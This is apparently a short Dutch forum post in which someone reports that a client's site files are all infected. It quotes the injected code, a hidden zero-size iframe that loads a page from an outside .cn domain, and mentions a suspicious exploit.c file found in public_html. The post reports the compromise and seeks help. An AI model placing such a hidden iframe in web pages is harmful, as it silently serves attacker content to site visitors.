Een klant van mij al zijn bestanden zijn geïnfecteerd met:
<iframe src="http://st1at2na3l4y5ze.cn/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
Daarbij staat er in de public_html van een domein ook nog een exploit.c bestand (met dezelfde timestamp) die er niet vrolijk uitziet :(
